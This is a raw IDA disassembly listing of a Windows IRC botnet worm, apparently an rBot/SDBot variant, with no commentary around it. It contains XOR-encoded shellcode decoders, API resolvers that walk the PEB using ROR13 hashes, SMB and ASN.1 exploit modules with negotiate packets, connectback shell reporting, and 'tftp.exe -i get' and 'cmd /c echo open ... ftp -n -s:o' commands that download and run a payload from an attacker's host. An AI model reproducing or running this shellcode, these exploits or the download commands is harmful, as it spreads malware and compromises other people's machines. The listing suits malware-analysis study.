aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DDCCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DDC8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DDC4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DDC0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DDBCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DDB8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DDB4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DDB0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DDACo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DDA8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DDA4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DDA0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD9Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD98o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD94o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD90o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD8Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD88o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD84o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD80o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD7Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD78o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD74o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD70o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD6Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD68o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD64o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD60o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD5Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD58o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD54o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD50o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD4Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD48o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD44o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD40o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD3Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD38o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DD34o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DD30o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DD2Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DD28o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DD24o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DD20o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DD1Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DD18o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DD14o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DD10o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DD0Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DD08o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DD04o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DD00o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCFCo
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCF8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCF4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCF0o
		align 4
byte_431948	db 50h			; DATA XREF: ___:0040ADF0o
					; ___:0040ADFDr
		db 43h,	2 dup(0)
dword_43194C	dd 7C7325h		; DATA XREF: ___:0040AE9Bo
dword_431950	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA5o
dword_431958	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
dword_43195C	dd 334B32h		; DATA XREF: ___:0040AF95o
dword_431960	dd 5058h		; DATA XREF: ___:0040AF87o
					; sub_41AA43+AAo
dword_431964	dd 4B32h		; DATA XREF: ___:0040AF77o
					; sub_41AA43+98o
dword_431968	dd 454Dh		; DATA XREF: ___:0040AF5Eo
					; sub_41AA43+7Eo
dword_43196C	dd 3839h		; DATA XREF: ___:0040AF4Eo
					; sub_41AA43+6Co
dword_431970	dd 544Eh		; DATA XREF: ___:0040AF3Eo
					; sub_41AA43+5Ao
dword_431974	dd 3539h		; DATA XREF: ___:0040AF30o
					; sub_41AA43+46o
dword_431978	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEB+3Ao
dword_431980	dd 5D4D5Bh		; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		jmp	short loc_431990
; ---------------------------------------------------------------------------


loc_43198E:				; CODE XREF: ___:loc_431990p
		jmp	short loc_431995
; ---------------------------------------------------------------------------


loc_431990:				; CODE XREF: ___:0043198Cj
		call	loc_43198E


loc_431995:				; CODE XREF: ___:loc_43198Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43199C:				; CODE XREF: ___:004319A1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43199C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4319B2:				; CODE XREF: ___:004319B7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4319B2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A54
		jnz	short loc_431A40
		retn
; ---------------------------------------------------------------------------


loc_431A40:				; CODE XREF: ___:00431A3Dj
					; ___:00431A4Dj
		call	near ptr loc_431A45+1


loc_431A45:				; CODE XREF: ___:loc_431A40p
		add	[edx+0], ch
		call	sub_431A54
		jz	loc_431A40
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A54	proc near		; CODE XREF: ___:00431A38p
					; ___:00431A48p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A54	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431B00	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431B04	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431B08	dd 0			; DATA XREF: sub_40B64B+2Eo
					; ___:0040D496w ...
dword_431B0C	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B10	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B14	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 10h
		db 2 dup(0)
byte_431CE2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
aAsn445_0	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431D0E

; =============== S U B	R O U T	I N E =======================================



sub_431CFE	proc near		; CODE XREF: sub_431CFE:loc_431D0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431D06:				; CODE XREF: sub_431CFE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431D06
		jmp	short loc_431D13
; ---------------------------------------------------------------------------


loc_431D0E:				; CODE XREF: ___:00431CFCj
		call	sub_431CFE


loc_431D13:				; CODE XREF: sub_431CFE+Ej
		jo	short near ptr dword_431C9C+12h
		cwde
		cdq
		cdq
		retn
sub_431CFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
dword_431E90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64B+46o
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431F04	db  2Dh	; -		; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
dword_431F40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DB+14o
		dd 7473694Ch, 3Ah
unk_431F6C	db  2Dh	; -		; DATA XREF: ___:0040BA14o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431FA0	db  2Dh	; -		; DATA XREF: ___:0040B922o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FD0	db  2Dh	; -		; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FF0	db  2Dh	; -		; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43200C	db  2Dh	; -		; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432078	db  2Dh	; -		; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4320A8	db  2Dh	; -		; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320DC	db  2Dh	; -		; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_432110	db  2Dh	; -		; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432144	db  2Dh	; -		; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4	db  2Dh	; -		; DATA XREF: sub_40C125+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C125+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43221C	db  2Dh	; -		; DATA XREF: sub_40C125+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250	db  2Dh	; -		; DATA XREF: sub_40C125+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_432284	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59C+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432338	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432340	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432344	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43234C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432404	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432410	db  81h	; 		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43245C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4324A0	proc near		; DATA XREF: ___:0040D35Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43259C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4325B2
		mov	[esi+8], eax
		call	sub_432565
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4325B2
		mov	[esi+0Ch], eax
		call	sub_432517
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4325B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4324A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432517	proc near		; CODE XREF: sub_4324A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432540
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432540	proc near		; CODE XREF: sub_432517+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43254F:				; CODE XREF: sub_432540+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43255C
		inc	ebx
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_43255C:				; CODE XREF: sub_432540+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432540	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432565	proc near		; CODE XREF: sub_4324A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43257D:				; CODE XREF: sub_432565+1Ej
		cmp	[ecx], ebx
		jz	short loc_432585
		mov	ecx, [ecx]
		jmp	short loc_43257D
; ---------------------------------------------------------------------------


loc_432585:				; CODE XREF: sub_432565+1Aj
		mov	edx, edi


loc_432587:				; CODE XREF: sub_432565+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432591
		mov	edx, [edx+4]
		jmp	short loc_432587
; ---------------------------------------------------------------------------


loc_432591:				; CODE XREF: sub_432565+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432565	endp


; =============== S U B	R O U T	I N E =======================================



sub_43259C	proc near		; CODE XREF: sub_4324A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325B2	proc near		; CODE XREF: sub_4324A0+16p
					; sub_4324A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4325C8:				; CODE XREF: sub_4325B2+33j
		jecxz	short loc_432602
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325D5:				; CODE XREF: sub_4325B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325D5
; ---------------------------------------------------------------------------


loc_4325E1:				; CODE XREF: sub_4325B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4325C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432602:				; CODE XREF: sub_4325B2:loc_4325C8j
					; sub_4325B2:loc_432602j
		jmp	short loc_432602
sub_4325B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432608	proc near		; DATA XREF: ___:0040D30Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43265A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432625:				; CODE XREF: sub_432608+38j
		jecxz	short loc_432655
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432630:				; CODE XREF: sub_432608+32j
		lodsb
		test	al, al
		jz	short loc_43263C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432630
; ---------------------------------------------------------------------------


loc_43263C:				; CODE XREF: sub_432608+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432625
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432655:				; CODE XREF: sub_432608:loc_432625j
		mov	[esp+arg_0], ebx
		retn
sub_432608	endp


; =============== S U B	R O U T	I N E =======================================



sub_43265A	proc near		; CODE XREF: sub_432608+7p

; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432673
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43267E
; ---------------------------------------------------------------------------


loc_432673:				; CODE XREF: sub_43265A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43267E:				; CODE XREF: sub_43265A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432692
sub_43265A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432685	proc near		; CODE XREF: sub_43265A:loc_432692p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432685	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43265A


loc_432692:				; CODE XREF: sub_43265A+29j
		call	sub_432685


loc_432697:				; DATA XREF: sub_40CADB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43265A
; ---------------------------------------------------------------------------
		dw 0
dword_43269C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8	dd 30h			; DATA XREF: sub_40CADB+2CAo
dword_4326AC	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326B0	dd 3			; DATA XREF: sub_40CADB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4


loc_4326BC:				; DATA XREF: sub_40CADB+E8o
		jmp	short near ptr dword_4326C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4326C4	dd 0			; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D331o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432730	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
